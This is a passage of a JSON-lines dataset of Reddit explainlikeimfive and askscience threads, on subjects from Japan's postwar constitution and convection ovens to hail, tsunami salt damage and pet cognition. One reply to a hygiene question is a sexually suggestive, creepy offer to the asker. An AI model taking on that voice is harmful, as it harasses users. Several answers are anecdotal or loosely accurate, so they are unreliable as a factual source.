Meiji constitution, which had been intentionally based upon a synthesis of the British parliamentary model along with Prussian militarism. \n\nThe Potsdam Declaration, which defined the terms of the Japanese surrender at the end of the Second World War, called for the dismantling of Japanese militarism and re-establishment of democratic freedoms. It did not require a totally new constitution. \n\nEven if the U.S. had desired a completely new constiturion, it likely would have looked to the British model for its constitutional monarchy. A major concession the U.S. had allowed Japan in their surrender terms was preservation of the emperor. But they didn't want the emperor to be allowed to overrule the will of the Japanese people in a future government. So the U.S. allowed the emperor to continue his rule in a largely ceremonial capacity. This allowed the Japanese to preserve kokutai - the concept that Japan's emperors united them to their ancient past in an unbroken line of succession - without compromising the allies' demand for a truly democratic government. \n\nHere is a great source for many key documents and commentaries about the establishment of Japan's constitution: [Birth of the Constitution of Japan](_URL_0_)", "A salient feature of a British-style parliamentary system instituted in postwar Japan is that it enabled the Japanese to keep the Emperor enthroned as a figurehead in a Constitutional Monarchy.  American occupation could have provoked more resistance had an attempt been made to depose the monarchy.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://afe.easia.columbia.edu/at/jp_diet/govtjd01.html"], [], ["http://www.ndl.go.jp/constitution/e/index.html"], []]}
{"q_id": "9dhevm", "title": "how are ovens able to cook at a lower temperature /faster by being fan assisted?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dhevm/eli5_how_are_ovens_able_to_cook_at_a_lower/", "answers": {"a_id": ["e5hll1l", "e5hmbmf", "e5hmp7v", "e5ihbdm"], "score": [207, 5, 13, 2], "text": ["that is the difference between a conventional oven and a convection oven (one with a fan). the fan does two things. The first is it mixes the air in the oven, so you get a more even temperature throughout. This helps things cook more evenly. The biggest difference, though, comes from the flow of air through the oven. Moving fluids, be they gas or liquid, transfer heat faster that stagnant fluids. Stagnant air is often used as insulation. Conventional ovens do have some airflow due to the slight temperature differences between the top and bottom of the oven and having a heating element on the bottom, but this is minor compared to convection ovens.\n\n\nTL;DR faster moving air transfers heat better than slow or non-moving air so a convection oven cooks faster than a conventional oven.", "It's just like wind chill in reverse.  Still air can form a layer near a solid object that slows the transfer of heat but moving air reduces that effect.", "You'll have to understand conduction vs. convection to understand this.\n\nConduction is just the transfer of energy through a stable, still medium. Like a metal pot on a hot stove heating up. The same thing happens in air and water.\n\nConvection is the transfer of energy by a *circulating medium*. I really like water with floating ice as an example. Water near the surface is cooled by the ice and sinks (more dense), and warmer water moves up to replace it. Because of this circulation (convection), warmer water is always in contact with the ice and it melts faster. Without circulation the water around the ice would be \"ice-cold\", as you can imagine, and the ice melts more slowly. In water, this difference is around 5-10x longer when there's no convection.\n\nYour oven works the same way, and the food is the \"ice\". Where the example differs is the energy is coming from outside the system (in the oven case), so convection ovens are even better because you can put more energy into the food with faster air flow (more air at the same temp inherently carries more energy to your food).", "It is often assumed that moving air only cools an object. This is untrue. Moving air transfers heat more efficiently. This effect can help with either cooling or heating an object. It mostly depends on the temperature difference between the air and said object."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1pxzju", "title": "Would a spacecraft be visible in deep space?", "selftext": "Say for example you are right between the sun and Proxima Centauri. Would there be enough ambient light from surrounding stars in deep space to make your spacecraft visible? If so, how much would you be able to see? I think it's interesting because in science fiction movies, spacecraft are almost always beautifully lit up, regardless of where in space they might be. How realistic is this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1pxzju/would_a_spacecraft_be_visible_in_deep_space/", "answers": {"a_id": ["cd79r5a", "cd79upu", "cd7dj1b"], "score": [14, 10, 4], "text": ["Ambient light? Certainly not. We detect almost everything that is far away from radioactive emissions or infrared emissions.\n\nEven at pluto, the amount of ambient light is very very small. \n\nHowever, if your ship were constantly emitting a radio signal in the direction of earth, and we were actively detecting that frequency, it's possible that we might detect the craft. ", "It would be darker than on a clear moon-less night (minus air-glow, minus reflected city light pollution).\n\nFor most people that means that in absence of artificial light you would have trouble to see your ship directly. Obviously you would see how it blocks out the many stars that are visible but it would not look like the typical ship from sci-fi movies.\n\nEven within the solar system (interplanetary space not in the immediate vicinity of planets or other objects) the ship would not look as nicely illuminated as there would be a very (extremely) high contrast between the side facing the sun and the other side.", "Actually most of the time you see spaceships in scifis they're in orbit of some planet or at least in a solar system. Additionally many spaceships actually have lights all over the hull, or at least along the painted-on name/number to make themselves more visible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1m09yx", "title": "the difference between $250 earphones vs $10 earphones.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m09yx/eli5_the_difference_between_250_earphones_vs_10/", "answers": {"a_id": ["cc4j8qp", "cc4j9a7", "cc4k59z", "cc4kgkl", "cc4mbwc", "cc4nrfp", "cc4oa12", "cc4ofoo", "cc4owis", "cc4p7pg", "cc4parb", "cc4qhsw", "cc4qifl", "cc4qqug", "cc4qssu", "cc4rbdg", "cc4rdur", "cc4s6nm", "cc4sh58", "cc4v2dp", "cc4v6ap", "cc4vl88", "cc4x2xr"], "score": [12, 63, 259, 2, 3, 3, 7, 6, 27, 2, 6, 3, 2, 2, 2, 2, 3, 2, 3, 2, 6, 2, 3], "text": ["There are certainly difference between the quality in terms of headphones. For example, the conductors that is being used or the drives in the headphones that can cover a variety of ranges true to life. For example, there are headphones what are called reference headphones where the sound is the closest to what it would be live. One of the ones that I know of is the AKG Q701. \n\nHowever, the difference in price is only justified until a certain point. Actually a lot of it has to do with marketing and branding. One notable example is Beats by Dre. They are decent headphone. But the bases are bumped up way to high. A lot of what you are paying for is the sleek design and the celerity endorsement. \n\nFurthermore, there is a difference between good and bad audio. But it's less clear what the difference is between good and very good audio. A lot of it actually boils down to subjective interpretation and personal taste. Someone with a more sensitive or \"gifted\" ear could probably notice more difference in the quality of sound that your average guy with average hearing. ", "You would want to head over to /r/audiophile for detailed info.\n\nBasically you get what you pay for, if you really care that much, but be careful because some brands like Beats are known to be way overpriced and low quality. ", "A better pair of headphones will:\n\n* have less distortion\n* amplify evenly over a broad range of pitch and volume\n* be more durable\n* fit and stay in your ears better\n* block out external noise\n* be more stylish\n* have special features, like water and shock resistance\n\nThere is a also a good deal of marketing and audiophile BS involved, and some of these differences are only something a trained ear would notice.  The difference between $5 and $30 headphones are pretty clear, after that, things start to get a little dubious.\n\nEDIT: Just to be clear, by \"dubious\", I don't mean headphones stop getting better at $30.  What I mean is it becomes less clear whether you are paying better features or marketing hype.\n", "\"Expensive\" and \"Better\" are two different things when buying headphones. i prefere earbud style headphones due to being low profile. I bought some 50$ skullcandy headphones, and they were pretty lousy. No midrange sound, and it was just every slight distorted, not to mention breaking after a month. got me some 8$ iLuv earbuds and they are some of the best sounding earbuds ive ever used. Full range, good sound and bass, and they havnt broken on me yet.", "If you're talking about headphones for mixing, one of the most important aspects is frequency response. \n\nGetting a pair of headphones to play back exactly as the mixer intended is hard. \n\nA flat frequency response means no frequencies are boosted or cut due to poor audio playback from the headphones, which is better. Which means when you mix you know you're getting an accurate sound and you know it won't sound bad on other mediums.\n\n", "Not really sure what difference it makes listening to 128kbps MP3s...unless you're carrying your record player around.....\n\nj/k...mostly", "I am not going to comment on audio quality as I am not exactly an audiophile, but you do get what you pay for. \n\ne. g. I used normal $5-10 buds which gave out after few months. Switched to creative ep630 for $30 which lasted more than a year and had much better sound quality. My current pair is a $100 shure se215 which has amazing sound quality, awesome noise suppression and are still in great condition after 2.5 years", "Also remember the quality of the source of the music plays a big role in sound quality, including the quality of the song itself and the equipment it is played on. Headphones are one of the biggest factors in high quality audio, however.", "Since no one else seems to mention it: Better resolution. With good headphones, you hear *more* of your music. All the different instruments play at the same time, yet are easily distinguishable. Try to focus on a specific instrument, maybe something in the background. With cheap headphones, you'll lose track after a while, because all the sounds are \"mushed together\" in a way, and not clearly separated. Also, for example, you will hear the same guitar chords in both headphones, but only with better ones you will hear the faint sound of fingers sliding over the strings. \n\nAs other commenters said, more expensive doesn't necessarily  equal better, but I think everyone should be able to appreciate the difference of  < 100$ to  < 250$ models.\n\nAlso important: get an headphone amplifier with it if you're going to play from \"weak\" (ie battery-powered) sources.", "Chiming in just to say that the same 20\u20ac earphones I can find in my own nice little country (the \"official\" ones for my mobile phone) can also be found for 1\u00a3 from UK or 1\u20ac from China. \n\nSo, maybe you should keep this in mind if you're considering replacement earphones for your mobile... unless you live in a nice bigger country (which you probably do) that has the habit of selling stuff at its honest price.", "I think an important point that is going overlooked is the quality of the source. If you played a VHS on an old tv, and a brand new LED tv, you wouldn't say there was a huge quality difference, because you have a low quality source. IPod's don't support lossless audio formats like FLAC or WAV files. Most people download music, at low bitrates. If you have a computer with an outboard I/O, and you start with a quality FLAC file, you will notice a MASSIVE difference. To give you an example, the first search result on thepiratebay for britney spears femme fatala offers a 128mbps bitrate mp3 and takes up 80mb of memory. A flac format of the same cd takes up 427mb of memory. Listening to a vinyl on a quality table, or your favorite song in Flac coming out of a nice mixing board with a good set of headphones, it's amazing.\n\nRant: This is also a large factor in why the music industry puts out the same stuff every year. They've leveled all the sound so everything sounds \"loud\" and lowered peoples perception of clarity. Without clarity, it's easy to repackage the same cup of ramen noodles with a small flavor change.", "The Monoprice 8323 is an exception to the price plateau. [Check](_URL_0_) them out!", "Well music quality is hard to explain, you need to listen to understand. Also the market is pretty messed up in the semi expensive range, a lot of manufacturers release shit in this segment because they have to(because of marketing issues). So you need to watch out.\n\nEdit: If you listen to gear that is in the semiexpensive range and don't go \"wow! i can hear things i didn't hear before\", then you struck shit.", "Losing a pair at $250 hurts a lot more than losing a pair at a lower price. I lose my headphones often. ", "10 is a stretch, because 10$ headphones vs 150$ headphones you can actually hear the difference. I mean, *I* can actually hear the difference. Once you get up to around 20-25 though, they're great for me. I can't see much of a difference personally. \n\nI got a set for 20 bucks about 2 years ago and they're still going strong, block out the noises around me, etc. So, really you're paying for the brand name, at least that's how I see it. ", "My ~$150 headphones have blown away all others save one I've encountered.  Unfortunately, they're now around 20 years old.  :(", "I would take a pair of Sennheiser HD25's over Beats any day of the week, and look at that price difference. ", "The simplest answer would be, listen to the same thing on a $10 and $250 pair and see for yourself. ", "What we consider sound is vibrations of air between 20Hz (cycles per second) and 20,000Hz - also known as 20KHz. The goal of each component of a sound system is to faithfully output a signal proportional to the input signal evenly across 20Hz (very low bass) to 20KHz (very high harmonics). \n\nThis property is called frequency response. You can compare it across headphones on graphs like this: _URL_0_[]=3121 & graphID[]=533 & graphID[]=3121 & scale=30\n\nAudio systems which are flatter across more of the graph will, in general, cost more, but also reproduce sound more faithfully. Because the studio engineer was almost certainly working with very accurate (flat frequency response) equipment, when you also listen with accurate equipment, you hear the music as the engineer and producer intended it, often with a clarity like nothing you have ever experienced. There are entire dimensions to well-produced music that you simply cannot hear with cheap, inaccurate equipment.\n\nConsumer brands like Bose and Beats by Dr. Dre are priced like accurate equipment, but their frequency response properties are more in line with the $30-$100 range of professional equipment manufacturers like Sennheiser, AKG, Audio-Technica, etc.", "You either buy one set of $250 headphones in your lifetime.\nOr you buy 25 $10 headphones in your lifetime.", "Go look at trees in the autumn in your favorite city. Can you see the delicate orange and yellows, flowing together to make one color while also each having their own color, texture and piece of the whole? It's a beautiful sight. \n\nLook at any picture that had been heavily processed. You'll see minute details after studying the picture. Subjects pop out of the picture and a story is told. \n\nListening through a nice pair of headphones is just like looking at something. It really depends on what you're looking at for you to appreciate the sight. \n\nIf you listen to well produced music, you'll hear a picture of where instruments are in a sound stage. You'll hear the creaks of chairs in the recording studio. You'll hear the piano player lift his foot off the sustain pedal. You'll hear the compression on the overheads of the drum kit. It's an absolutely amazing and immersive experience. \n\nListening to music through 30 dollar headphones is the equivalent of watching a 4k resolution movie while looking through a dense fog. \n\nSure, you might get the point and understand what you're watching, but you are also missing so, so much. ", "If the $250 pair are made by Beats or Bose? Nothing.", "The best way to appreciate this difference is to listen to a song you've listened to countless times and listen to it through the higher end headphones you're talking about. With a quality set of headphones you will hear subtleties and sometimes entire instruments that you didn't know were there; and the instruments that you did know were there will sound clearer, less like they're all fighting for the same air.\n\nA big thing with more expensive earphones, particularly the nicer \"earbuds\" (officially IEMs - In-Ear Monitors) is that the components and design tend to be more focused on sound quality than cheapness of manufacture. You'll find that many of the $200+ headphones have two, three, sometimes even four drivers (the components that make the sound). With three drivers, you can have one dedicated to high sounds, one to mids, and one to lows; thus you don't have just one driver trying to produce ten different instruments at once which is _part_ of what makes the lower-end headphones sound less great.\n\nThe single driver that lower-end headphones have tends to be of lower quality, to help drive down cost. Bass contains the most noticeable set of frequencies (volume-wise) so most low-end headphones (and speakers for that matter) focus on producing as much bass as possible and ignore the high-end, since sacrifices must be made when you're making the same type of product for a tenth of the price. Thus with low end audio equipment, you tend to have overemphasized bass, slightly shrill or lacking treble, and often the mids lose out to the bass.\n\nWhat's funny/sad/ironic with the Beats headphones is that nearly all of them exhibit the exact same issues I'm describing with low-end headphones in terms of extreme overemphasis on the bass, but because of their marketing efforts and endorsements they sell for hundreds of dollars; Skullcandies are similar, though they cost less so you're getting slightly less ripped off...\n\nIf I had to sum up the difference in one sentence? Listening to music with cheap headphones is like listening to someone talk with water in your ears from the pool; listening with nice headphones is like taking the time to clear the water out of your ears first. Why don't you feel like you have water in your ears with the cheap headphones you've used then? It's hard to imagine what you're missing if you've never experienced it.\n\n\nAt the end of the day the only way for you to really know the difference is to try both yourself; the tricky part is figuring out whether or not that difference is worth $200+ to you. The scary part is once you say yes to that question, you realize that $250 is cheap in audiophile terms.\n\nOh, and if you are looking for nicer headphones, avoid Beats, Bose, and Skullcandy - they're all vastly overpriced for the sound quality they deliver."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://www.monoprice.com/products/product.asp?c_id=108&amp;cp_id=10823&amp;cs_id=1082302&amp;p_id=8323&amp;seq=1&amp;format=2"], [], [], [], [], [], [], ["http://graphs.headphone.com/graphCompare.php?graphType=0&amp;graphID"], [], [], [], []]}
{"q_id": "oezt0", "title": "ron paul's \"free-market environmentalism\"", "selftext": "Something to do with property rights..", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/oezt0/eli5_ron_pauls_freemarket_environmentalism/", "answers": {"a_id": ["c3gpxjt", "c3gqt9h"], "score": [7, 5], "text": ["Pollution that enters my property is violating my property rights.\n\nIf, for instance, the fishermen owned the fishing rights to the ocean, oil spills would require the offending party to compensate them directly for lost revenue (uncapped).", "In economics, pollution is a negative externality, a third-party effect of an economic activity.  \n\n\"Free market environmentalism\" is based on the principle that if property rights for the land that is being polluted can be assigned to either the polluter or those affected by the pollution (as long as someone owns the land), an economically-efficient level of pollution can be reached in the market that satisfies all.  \n\nIf the non-polluting party owns the land and wants to keep it clean, polluters will have to pay them to pollute in order to compensate for the environmental damages caused.  If the polluters own the land, those affected by the pollution will have to get the company to pollute less, and they will do this by paying them to produce less. These exchanges continue until an efficient point where both parties are satisfied is reached. \n\nThere are practical issues that present themselves in this approach, though, one being that it is often hard or impossible to assign property rights to the land or resource being polluted. \n\nTo read more, the theorem being cited here is [Coase's Theorem](_URL_0_).\n\n*edit-grammar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Coase%27s_theorem"]]}
{"q_id": "90a5xb", "title": "how does hail manage to stay solid long enough to hit the ground in 100+ degree weather?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/90a5xb/eli5_how_does_hail_manage_to_stay_solid_long/", "answers": {"a_id": ["e2oxrs2", "e2p26iw", "e2p2nux", "e2p43y0", "e2p5bh8", "e2p5i10", "e2p6oop"], "score": [537, 44, 61, 5, 2, 2, 9], "text": ["It's below freezing high up in the clouds where the hail is formed.  When it gets so heavy that the up drafts within the storm can no longer support its weight it falls.\n\nAt that height it only takes a couple of minutes for the hailstones to fall to the ground.  It takes far longer than that for the hailstones to completely melt.", "Ever poured a cup or ice in the sink and see it's still there an hour later? Ice even in high temps takes a while to melt. Way longer than the 30 seconds it's in warm temps while it's falling.", "It takes a remarkable amount of energy to melt ice. I read somewhere (but haven't verified it) that it takes the same amount of energy to melt ice at 0C into water at 0C, as to heat water from 0C to 80C...", "100 mph winds keep the hail up inside the thundercloud, and of course the atmosphere up there is quite cold", "You want to test this get a golf ball chunk of ice and see how long it takes to melt outside, though try to avoid putting it directly on hot pavement.  Then just figure out how far it would fall in that time", "The same reason an ice cube isn't melted the moment it touches the bottom of a hot oven if you tossed it in. It takes time to get to center of a tootsie pop.", "There's a few reasons that all probably have something to do with it.\n\n1. Solid blocks of ice don't melt all that fast (relatively speaking). [This class did an experiment](_URL_0_) and found that even under a heat lamp it took more than an hour for an ice cube to fully melt! If a storm is strong enough, hail can start at the size of ice cubes or even larger. \n\n2. The temperature decreases pretty fast as you go up in the atmosphere. In the desert, it is usually close to 5F per 1000 feet, the so-called [dry adiabatic lapse rate](_URL_1_). Today in Las Vegas, the freezing level is [pretty close to 15000 feet](_URL_2_) (3 miles, 4.5 km) above the ground.  \n\n3. The fall speed of hail is not all that slow. A hailstone [only 1 cm (0.4 inches) across](_URL_3_) falls at around 9 m/s (20 mph). At this speed it would only take 9 minutes to  fall from the freezing level. Large hail will fall even faster.\n\n4. Hail falling all together will tend to cool the air around it, especially as it melts. It may have started at well over 100 degrees F near the ground, but I am sure the temperature of the air around the hail began cooling off quickly in just a few minutes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://blogs.goaj.org/amoore/2014/01/25/how-long-does-it-take-for-an-ice-cube-to-melt/", "https://en.wikipedia.org/wiki/Lapse_rate#Dry_adiabatic_lapse_rate", "https://i.imgur.com/5nClWyR.png", "https://www.nssl.noaa.gov/education/svrwx101/hail/"]]}
{"q_id": "570ntl", "title": "how does hawaii have fresh water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/570ntl/eli5_how_does_hawaii_have_fresh_water/", "answers": {"a_id": ["d8ny4z5", "d8nyh5w"], "score": [14, 2], "text": ["There water supply is largely stored in underground natural aquifers.  Much of Hawaii gets a shit-ton of rain which replenishes those aquifers fairly quickly.\n\nThat said, freshwater is a source of concern for Hawaii's growth.  However, it has been growing already but its water consumption has stayed relatively flat.  This is likely due to less commercial / industrial use of water and more attention to conservation.\n\n", "Big man made lake catches lots rainwater. Lake Wilson maybe? I forget :("]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2grpqw", "title": "Do house cats have a circadian rhythm?", "selftext": "First off, do we classify house cats as being nocturnal, diurnal or crepuscular? Anything I read about their sleeping schedule says that it's \"flexible\". It seems to me that cats are most comfortable being active during the night (nocturnal), but Wikipedia says their senses are best suited for crepuscular activity, and I've seen cats with a diurnal schedule that they seem to be completely comfortable with, too.\n\nThe amount of sleep a cat gets seems to be all over the board, too, from 10 hours a day to 20 hours a day.\n\nIs there a certain time of the day when cats will get sleepy, in the same way that our circadian rhythm makes us sleepy when it gets dark out? Is there any sleeping schedule that will be unhealthy for them or cause them a lot of distress, or can they just adapt to anything without problems?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2grpqw/do_house_cats_have_a_circadian_rhythm/", "answers": {"a_id": ["cknhr1c"], "score": [3], "text": ["Cats do technically have a circadian rhythm like humans, but they also take short naps periodically throughout the day, and enter deep sleep/REM sleep much faster than humans, (which is why cats and even dogs frequently dream just from napping). They're generally more active at night, but because of their frequent \"cat naps\" their sleep schedule pretty much boils down to whatever's most convenient in their current environment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f54el1", "title": "What effect does the seawater brought inland by a tsunami have on local plants? Does it make the land infertile for a while?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f54el1/what_effect_does_the_seawater_brought_inland_by_a/", "answers": {"a_id": ["fhwx8vh", "fhx30z8", "fhxc7v8", "fhxk6uk", "fhxoya0", "fhxtvq5", "fhxz5dr"], "score": [184, 1889, 20, 6, 3, 4, 4], "text": ["It seems likely that tsunamis impact local plants / soil through the addition of clay and silt with a high salt content. Land is inundated by a tsunami for a relatively short period of time and the salt is usually washed away by precipitation anyway meaning that the saturation of soil by saltwater is not the leading cause of salt contamination. \n\nWhile it is true that salt impacts plants through salt (*Na*) toxicity, water stress and a reduced nutrient uptake (especially of *K*), the main problem when it comes to tsunamis is the introduction of clay and silt from the seabed which has a high salt content. Salt in the soil is best washed away by fresh water, but because this clay / silt layer is relatively impermeable, the filtration process, called *leaching*, is slow. The duration of salt contamination will depend on the level of drainage and precipitation rates for that particular area so difficult to generalise.", "In Holland we don\u2019t have tsunami\u2019s, but the results of salt water floods have been studied pretty well. For instance, after the 1953 north sea flood.\n\nFor the Dutch soil, all salt from flooding is washed away within 1-4 years. This depends on sveral factors, such as duration of flood, dept of the groundwater level, amount of moisture in de ground above groundwater level, precipitation etc\n\nFor some recovery nature needs some help. The (NaCl) salt water also worsens the mineral structure of older clay. Even if the salt itself is already washed away. Naturally the clay could take up to 8 years to recover. Fertilizing with gypsum is enough to repair this and this pays for itself in the first year.\n\nA sweet water flood costs 1 year of production, a salt water flood generally 2-3 years.With gypsum that 3 years can be reduced to 2 years of loss.  The second year some salt-resistant crops can be grown, so the economic damage could be a bit less. In fact, for weaker fields the silt from the inundation increases fertility in the long term.", "As a consequence of rising sea levels and hurricane storm surge along Florida\u2019s west coast causing the line where the salt water meets fresh water to move farther inland, you can see what happens; ghost forests where all the trees died rapidly from suddenly switching to saltwater. Plants that were farther out from that area will creep in. Growth of plants that were inland from that line will retreat farther.", "I know that Long Island (in the Bahamas) is suffering from the last hurricane. There is a lot of subsistence farming there and they have taken a huge hit since the entire island had flooding. No one seems to have any hard numbers on recovery and the Bahamian governemnt (either through apathy, corruption or lack of funds) doesn't seem to be in a hurry to figure out the problem.", "Was always curious about the phrase \"salting the earth\" as a threat/punishment.  Because the sheer mass of salt needed to contaminate a single field sounds unrealistic to acquire, transport, and acquire.  Even if you did, in a few years rain would usually wash it away leaving it usable again.  \n\nLike, OK, so it's likely just a phrase.  But where even get the idea??  Probably from saltwater flooding I guess, seeing how it kills agriculture for a few years.  Still, I'm not sure how many had experience with that, as tsunamis are rare and the bulk of agriculture is closer to freshwater flooding probs than salt water.", "Seawater from hurricane storm surges certainly killed hell out of vegetation that was inundated here in Florida, and in Mississippi  (hurricane Katrina). I don't know that the effect lasts all that long, at least with regular rainfall. But, it killed palmettos, which otherwise grow right near the beach and are at least somewhat salt-resistant.  It seemed to kill everything, just from my own personal observations.", "I work on a carribean island whose high point is about 5 m. Our groundwater is brackish and the rock porus to sea water surrounding. Salinity is a big problem, coupled with global warming the largest few years have been drier and hotter, further concentrating the soils. Things are gradually getting more expensive and more difficult to grow. But by far the biggest problem is humans nature rather than adapting or admitting defeat we are constantly looking for quick fixes. An example, a farmer is using a desalination device to remove salt water from the well water. The desal water goes on the plants and the runoff from the device (as it is inland) back onto the soil (away from crops). The desal is often mixed with well water to make it less salty and to reduce the cost. There is an awful lot of good intentions but you feel for some of the growers"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "coks3v", "title": "why does my weener smell like clams?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/coks3v/eli5_why_does_my_weener_smell_like_clams/", "answers": {"a_id": ["excoie6"], "score": [8], "text": ["Well, think of it like a small, cute, purple puppy. \n\nIf you don't wash it, he will start to get stinky. \n\nI'll help you wash your little puppy if you want\ud83d\ude18"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o0ehc", "title": "Do you get bits of food in your lungs without knowing it?", "selftext": "I know you usually end up swallowing some air when you're eating, so does the reverse happen and some very tiny bits of food get into your lungs? And if so, how do they get out?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o0ehc/do_you_get_bits_of_food_in_your_lungs_without/", "answers": {"a_id": ["c3ddo74", "c3ddrnr", "c3dfguw"], "score": [3, 26, 3], "text": ["I'm not an expert, but the respiratory epithelium, and mucociliary escalator play important roles in this process.\n\n[Have a read](_URL_0_)", "Ideally no.  Your body has a multilayer defense system that tries to prevent this or rectify it after occurring.  Failures in these processes do occur and can be idiopathic (who knows why), pathologic (due to disease), or nosocomial (related to healthcare).  \n\n[Aspiration](_URL_0_) can be benign or have fatal consequences (see: [aspiration pneumonia](_URL_5_) or [asphyxiation](_URL_4_)).    \n\nIt is also not uncommon to see pieces of food in the lung on autopsy with no relation to the cause of death.  This occurs at a rate of about 1 in 4 ([source](_URL_3_)).  About 70% of people with decreased conciousness levels and 45% of healthy people while sleeping experience aspiration. ([pdf source](_URL_6_))     \n\nedit: For those with university access, [this](_URL_1_) article goes into the physiology and pathophysiology of the two types of aspiration (anterograde = while swallowing, retrograde = [gastroesophageal reflux](_URL_2_)).    \n\n\"A close functional relationship exists between the airway and the upper gastrointestinal tract, which provides protection against pulmonary aspiration of material passing through the pharyngoesophageal compartments.  nvestigations of pharyngealesophageal\u2013glottal relationships suggest that a hypervigilant state of the glottis is necessary to ensure airway protection. The upper esophageal sphincter further complements protection by preventing oral escape of gastric contents into the supraesophageal space. Coordination of these defensive mechanisms prevents\nunwarranted spillage of materials into the airway during routine daily and strenuous activities.\"", "My little sister choked on a peanut one day when she was 3.  Weeks later, my mom took her to the hospital because she had begun wheezing.  The doctors all said it was probably just asthma but no medications helped.  After a little exploration, a doctor found the peanut lodged somewhere in one of her lungs.\n\nSo speaking from her experience, it *can* happen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Respiratory_epithelium#Mucociliary_Escalator"], ["http://en.wikipedia.org/wiki/Pulmonary_aspiration", "http://www.ncbi.nlm.nih.gov/pubmed/20941656", "http://en.wikipedia.org/wiki/Gastroesophageal_reflux", "http://www.sciencedirect.com/science/article/pii/030094327590014X", "http://en.wikipedia.org/wiki/Asphyxia", "http://en.wikipedia.org/wiki/Aspiration_pneumonia", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2568143/pdf/jnma00155-0051.pdf"], []]}
{"q_id": "3znred", "title": "Do pet tarantulas/Lizards/Turtles actually recognize their owner/have any connection with them?", "selftext": "I saw a post with a guy's pet tarantula after it was finished molting and it made me wonder... Does he spider know it has an \"owner\" like a dog or a cat gets close with it's owner?\n\nI doubt, obviously it's to *any* of the same affect, but, I'm curious if the Spider (or a turtle/lizard, or a bird even) recognizes the Human in a positive light!?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3znred/do_pet_tarantulaslizardsturtles_actually/", "answers": {"a_id": ["cynrvay", "cyns6bj", "cynt49m", "cynz3g5", "cyo1mi8", "cyo1wv2", "cyo36ed", "cyo3heu", "cyo47ly", "cyo4ux5", "cyo6qfk", "cyo6w71", "cyoc8r5", "cyofkfx", "cyoglgb", "cyoig58", "cyoikwd", "cyoil4n", "cyok2em", "cyolse2", "cyomcmk", "cyoqkiv", "cyowdse"], "score": [902, 265, 2, 3, 24, 8, 35, 3, 5, 12, 63, 2, 5, 2, 3, 3, 2, 2, 3, 2, 3, 2, 2], "text": ["This is a pretty interesting topic particularly due to our view of ourselves in nature and our view of animals. Your initial statement alone presumes that somehow dogs and cats \"know they have an owner\". Does a dog recognize that a human has ownership, and in some states property rights over them? Or does the dog believe the human is a part of their pack and a companion? Recent research came out indicating that dogs do recognize their owners faces in a crowd of people, however many animals can recognize their affiliates even those unrelated in a large group. Cats however are less domesticated and display much stronger predatory instincts, their view of our place in their social structure is likely different than how we view our place in their lives.   \n\nOne big hiccup between how we communicate with animals is that for the majority of all animal species communication happens non verbally. Whether it is scents, body language, color, and so on we fail to understand other animals because our communicative abilities have surpassed those more basal forms of communication (or so we think, but that's a discussion for a different day). So while we are communicating ownership, they are communicating say, trust. A good example is a cat rolling over and showing you their belly. For a predatory animal this behavior is pretty risky. We see this behavior as \"cute\" or \"they want to cuddle\". The reality is we do not know because cats cannot talk. On the topic of cats talking, cats rarely ever meow to communicate with each other. Domestic cats often meow to communicate with humans. \n\nOn the topic of other animals I can't speak to insects, but I have quite a bit of experience with Avian species. Most parrot species are highly intelligent, much more intelligent than a dog or cat. They are not predatory and instead often live in large groups and have intricate mating displays and social behaviors. So why wouldn't a bird recognize their owner? The big difference is once again *how* they recognize their owner in the context of their own species behaviors. Even a pet bird is pretty far from total domestication in the sense of dogs and cats. In many pet birds, particularly psittacines (parrots) not only do they recognize their human \"owner\" as an affiliate but they often times form incredibly strong social bonds. Some parrots will regurgitate food as a means of expressing affection. Birds are heavily preyed upon and so creating these relationships with their owner involves not only a recognition of a provider of food, but on some level indicates an attachment.   \n\nWe know that animals experience emotions, but the jury is still out on to what extent those emotional connections contribute to particular sets of behaviors. Generally speaking animals that are more social are more emotive.  They also have more time to spend \"being social\" due to a lack of predatory factors. Meaning, social behaviors and living in large groups help avoid predation. So what happens when we take these social creatures and plop them in an environment where predatory threats are extremely diminished? Once the fear of predation is over we see behaviors not exhibited in the wild. While we can generalize wild type behavior when we have captive species the game changes for how they behave. \n\nThis human animal bond is a pretty fascinating one and some veterinary schools and foundations have been studying it much more as of late. Particularly in the realm of the effects of animal companionship on people with mental illnesses. Check out [The Human-Animal Bond Initiative](_URL_0_).   \n\nI think the long and the short of it is animal communication and sociality is extremely complex, for a long time we have grouped animals together as lesser beings. It is very easy to both assume an animal \"loves you\" or assume that \"it's just a stupid dog\" (Labrador Retrievers anyone?). As someone who has worked with many animals who have been domesticated and wild species in a captive environment 